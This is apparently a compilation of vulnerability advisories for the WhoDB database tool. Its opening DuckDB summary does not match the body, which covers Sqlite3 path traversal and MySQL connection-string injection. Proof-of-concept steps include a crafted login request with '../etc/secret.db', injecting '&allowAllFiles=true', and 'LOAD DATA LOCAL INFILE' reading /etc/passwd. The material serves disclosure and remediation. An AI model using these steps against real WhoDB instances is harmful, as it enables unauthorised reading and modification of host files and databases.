WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions through the query editor. Attackers can log in to a DuckDB file without credentials and use readtext, readblob, COPY ... TO or ATTACH to steal session.key and stored database credentials or overwrite files.

Summary

While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.

Details

WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20

If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:

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The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26

No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.

This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.

PoC

Before running the container, an example Sqlite3 database with dummy "secret" data was created: sh DBFILE=$(mktemp) echo "CREATE TABLE secrettable (data TEXT); INSERT INTO secrettable VALUES ('secret data')" | sqlite3 "$DBFILE"

The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db: sh podman run -d -p 8080:8080 -v "$DBFILE":/etc/secret.db docker.io/clidey/whodb

The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db: http POST /api/query HTTP/1.1 Host: localhost:8080 content-type: application/json ...

{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n typename\n }\n}"}

The server response indicates that the database was successfully opened: http HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly ...

{"data":{"Login":{"Status":true,"typename":"StatusResponse"}}}

The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details: json { "Type": "Sqlite3", "Hostname": "", "Username": "", "Password": "", "Database": "../etc/secret.db" }

The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.

Doing so, the attacker can then browse the database, its tables and the data within:

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The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:

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Impact

Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.

The attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.

Recommendations

Before attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.

Summary

The application is vulnerable to parameter injection in database connection strings, which allows an attacker to read local files on the machine the application is running on.

Details

The application uses string concatenation to build database connection URIs which are then passed to corresponding libraries responsible for setting up the database connections.

This string concatenation is done unsafely and without escaping or encoding the user input. This allows an user, in many cases, to inject arbitrary parameters into the URI string. These parameters can be potentially dangerous depending on the libraries used.

One of these dangerous parameters is allowAllFiles in the library github.com/go-sql-driver/mysql. Should this be set to true, the library enables running the LOAD DATA LOCAL INFILE query on any file on the host machine (in this case, the machine that WhoDB is running on). Source: https://github.com/go-sql-driver/mysql/blob/7403860363ca112af503b4612568c3096fecb466/infile.go#L128

By injecting &allowAllFiles=true into the connection URI and connecting to any MySQL server (such as an attacker-controlled one), the attacker is able to read local files.

PoC

As this vulnerability does not require sending requests manually and can all be done using the WhoDB UI, screenshots are provided instead of HTTP requests.

For this proof-of-concept, a clean instance of WhoDB and MySQL were set up using podman (docker is a suitable alternative):

podman network create whodb-poc podman run -d -p 8080:8080 --network whodb-poc docker.io/clidey/whodb podman run -d --name mysql -e MYSQLROOTPASSWORD=password --network whodb-poc docker.io/mysql:9

The attacker connects to the database via WhoDB. Note that in the Loc field, the string &allowAllFiles=true is inserted:

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After connecting, the attacker navigates to the scratchpad in /scratchpad.

The attacker first creates a demo table: sql CREATE TABLE poc ( line TEXT );

The attacker then enables loading files from the server side. For the sake of clarity, do note that while this is required, the file is not being read from the remote server where MySQL is running, but the local machine that WhoDB is running on. sql SET GLOBAL localinfile=1;

The attacker then uses the LOAD DATA LOCAL INFILE statement to read the contents of /etc/passwd (in this case from inside the container where WhoDB is running) into the previously created table: sql LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE poc FIELDS TERMINATED BY '\0' LINES TERMINATED BY '\n';

The attacker then navigates to the poc table in the Tables view and observes that the file has been read successfully:

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Impact

While this proof-of-concept demonstrates local file inclusion, the root cause of the issue is the unsafe construction of database connection URIs from user input. Not all database connector libraries used in WhoDB were inspected; there may be libraries which allow for even more impactful parameters.

The attack requires no user authentication to WhoDB (only authentication to any database server, such as an attacker-controlled one) and no special configuration - the default configuration of the application is vulnerable.